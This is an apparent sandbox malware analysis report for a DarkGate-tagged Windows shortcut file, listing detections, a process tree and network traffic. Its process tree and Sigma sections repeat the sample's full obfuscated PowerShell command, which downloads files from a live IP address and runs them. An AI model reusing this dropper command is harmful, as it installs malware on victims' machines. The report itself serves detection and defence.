Edit tour

Windows Analysis Report
Integration.pdf www.skype.com.lnk

Overview

General Information

Sample name:	Integration.pdf www.skype.com.lnk
Analysis ID:	1558748
MD5:	b9a147ecb1b7fa4dd90a38cb24af92ad
SHA1:	cd0df36b588951b7f3cfcfe71a4407ae5cb9f5ee
SHA256:	50ab6b830ae08cd98703d057bf79e16b4fff71c4cc1a1a9c74ab3fa528c20711
Tags:	DarkGateHUNlnkuser-smica83
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Machine Learning detection for sample

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Malicious Base64 Encoded PowerShell Keywords in Command Lines

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Suspicious command line found

Suspicious powershell command line found

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 3984 cmdline: "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3456 cmdline: powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4024 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\vmapi.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4808 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7204 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1636,i,14726364720593086116,8068098665714155558,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 3160 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 3456	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x65eb5:$b2: ::FromBase64String( 0x661f0:$b2: ::FromBase64String( 0x988c3:$b2: ::FromBase64String( 0x98bfe:$b2: ::FromBase64String( 0xdfa47:$b2: ::FromBase64String( 0x132fab:$b2: ::FromBase64String( 0x1332ea:$b2: ::FromBase64String( 0x133e69:$b2: ::FromBase64String( 0x1343ac:$b2: ::FromBase64String( 0x1a2087:$b2: ::FromBase64String( 0x1a23c6:$b2: ::FromBase64String( 0x1a2c54:$b2: ::FromBase64String( 0x1a313b:$b2: ::FromBase64String( 0x1a3552:$b2: ::FromBase64String( 0x1a3a9b:$b2: ::FromBase64String( 0x1a723f:$b2: ::FromBase64String( 0x1a88db:$b2: ::FromBase64String( 0x24bacc:$b2: ::FromBase64String( 0x24be07:$b2: ::FromBase64String( 0x24cac9:$b2: ::FromBase64String( 0x265625:$b2: ::FromBase64String(

Other

Source	Rule	Description	Author	Strings
amsi64_3456.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x95:$b2: ::FromBase64String( 0x74:$b3: ::UTF8.GetString( 0xbba6:$s1: -join 0x5352:$s4: += 0x5414:$s4: += 0x963b:$s4: += 0xb758:$s4: += 0xba42:$s4: += 0xbb88:$s4: += 0xdfb2:$s4: += 0xe032:$s4: += 0xe0f8:$s4: += 0xe178:$s4: += 0xe34e:$s4: += 0xe3d2:$s4: += 0xbfa3:$e4: Start-Process 0xc0d0:$e4: Start-Process 0xc49b:$e4: Get-WmiObject 0xc68a:$e4: Get-Process 0xc6e2:$e4: Start-Process

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", ProcessId: 3984, ProcessName: cmd.exe

Sigma detected: Malicious Base64 Encoded PowerShell Keywords in Command Lines

Source: Process started

Author: John Lambert (rule): Data: Command: powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", CommandLine: powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3984, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "[S

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", CommandLine: powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) | Invoke-Expression", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3984, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "[S

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3160, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-19T19:11:09.155729+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49704	2.58.56.243	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Integration.pdf www.skype.com.lnk

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.5% probability

Machine Learning detection for sample

Source: Integration.pdf www.skype.com.lnk

Joe Sandbox ML: detected

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.pdb source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.IO.Compression.FileSystem.pdb= source: powershell.exe, 00000003.00000002.1577421947.000001C46BF76000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Management.resourcesn.pdb source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.pdbz~ source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.IO.Compression.FileSystem.pdbrv source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: *on.pdb+ source: powershell.exe, 00000003.00000002.1577421947.000001C46BF76000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.IO.Compression.FileSystem.pdb source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.pdb source: powershell.exe, 00000003.00000002.1577710295.000001C46BFEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000003.00000002.1577421947.000001C46BF76000.00000004.00000020.00020000.00000000.sdmp

Source: Network traffic

Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49704 -> 2.58.56.243:80

Source: global traffic	HTTP traffic detected: GET /onboarding/smskillreader.txt HTTP/1.1Host: armmf.adobe.comConnection: keep-aliveAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brIf-None-Match: "78-5faa31cce96da"If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
Source: global traffic	HTTP traffic detected: GET /vmapi.pdf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 2.58.56.243Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /kghtyed.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 2.58.56.243

Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
Source: unknown	TCP traffic detected without corresponding DNS query: 2.58.56.243
